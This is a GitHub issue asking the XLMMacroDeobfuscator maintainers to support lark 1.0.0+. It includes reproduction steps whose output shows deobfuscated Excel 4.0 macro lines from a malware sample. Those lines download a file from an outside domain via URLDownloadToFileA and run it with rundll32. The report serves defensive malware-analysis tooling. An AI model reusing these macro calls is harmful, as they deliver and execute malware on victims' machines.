Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Old version/repository of lark used #118

Open
xambroz opened this issue May 5, 2024 · 0 comments
Open

Old version/repository of lark used #118

xambroz opened this issue May 5, 2024 · 0 comments

Comments

@xambroz
Copy link

xambroz commented May 5, 2024

Hello,
please could you consider updating the API of he lark parser to the current API (1.0.0+)?
The pypy project lark-parser was renamed to lark while ago and new updates go only to the lark repository.

Versions up to 0.12.0 work (both old lark-parser and new lark repository), but there was significant API change in the 1.0.0 which broke the API a requires a code change in xlmmacrodeobfuscator.

I have tried packaging the XLMMacroDeobfuscator for Fedora, which worked until Fedora 38 when distributiona were still using old version of lark-parser, but it is common now that the linux distributions switched to new API of lark 1.0.0+.
Fedora 38 lark-parser - lark-parser 0.12.0
Fedora 39/40 lark - lark 1.1.7
Debian stable Bookworm - lark 1.1.5
Debian unstable Sid - lark 1.1.9
Ubuntu 22+ - lark 1.1.1+

===== This works python 3.12 - lark<1.0.0

virtualenv --python=$(which python3.12) p3.12
p3.12/bin/pip install setuptools
p3.12/bin/pip install xlmmacrodeobfuscator
p3.12/bin/pip uninstall lark-parser -y
p3.12/bin/pip install 'lark<1.0.0'
p3.12/bin/xlmdeobfuscator -f ~/tmp/malware/edd554502033d78ac18e4bd917d023da2fd64843c823c1be8bc273f48a5f3f5f | grep -e "CALL"
...
CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\csg75ef.html",0,0)
CELL:R16       , FullEvaluation      , IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\bwep5ef.html",0,0),)
CELL:R18       , FullEvaluation      , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)

====== This doesn't work python 3.12 - lark>1.0.0

virtualenv --python=$(which python3.12) p3.12
p3.12/bin/pip install setuptools
p3.12/bin/pip install xlmmacrodeobfuscator
p3.12/bin/pip uninstall lark-parser -y
p3.12/bin/pip install 'lark>1.0.0'
p3.12/bin/xlmdeobfuscator -f ~/tmp/malware/edd554502033d78ac18e4bd917d023da2fd64843c823c1be8bc273f48a5f3f5f | grep -e "CALL"

XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)

          _        _______
|\     /|( \      (       )
( \   / )| (      | () () |
 \ (_) / | |      | || || |
  ) _ (  | |      | |(_)| |
 / ( ) \ | |      | |   | |
( /   \ )| (____/\| )   ( |
|/     \|(_______/|/     \|
   ______   _______  _______  ______   _______           _______  _______  _______ _________ _______  _______
  (  __  \ (  ____ \(  ___  )(  ___ \ (  ____ \|\     /|(  ____ \(  ____ \(  ___  )\__   __/(  ___  )(  ____ )
  | (  \  )| (    \/| (   ) || (   ) )| (    \/| )   ( || (    \/| (    \/| (   ) |   ) (   | (   ) || (    )|
  | |   ) || (__    | |   | || (__/ / | (__    | |   | || (_____ | |      | (___) |   | |   | |   | || (____)|
  | |   | ||  __)   | |   | ||  __ (  |  __)   | |   | |(_____  )| |      |  ___  |   | |   | |   | ||     __)
  | |   ) || (      | |   | || (  \ \ | (      | |   | |      ) || |      | (   ) |   | |   | |   | || (\ (
  | (__/  )| (____/\| (___) || )___) )| )      | (___) |/\____) || (____/\| )   ( |   | |   | (___) || ) \ \__
  (______/ (_______/(_______)|/ \___/ |/       (_______)\_______)(_______/|/     \|   )_(   (_______)|/   \__/

....
XLMMacroDeobfuscator(v0.2.7) - https://github.com/DissectMalware/XLMMacroDeobfuscator

File: /home/testuser/tmp/malware/edd554502033d78ac18e4bd917d023da2fd64843c823c1be8bc273f48a5f3f5f

Unencrypted xls file

[Loading Cells]
auto_open: auto_open->'jMAhUST1Sf'!$Q$1
[Starting Deobfuscation]

Error [deobfuscator.py:2598 evaluation_result = self.evaluate_parse_tree(current_cell, parse_tree, interactive)]: 'None'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant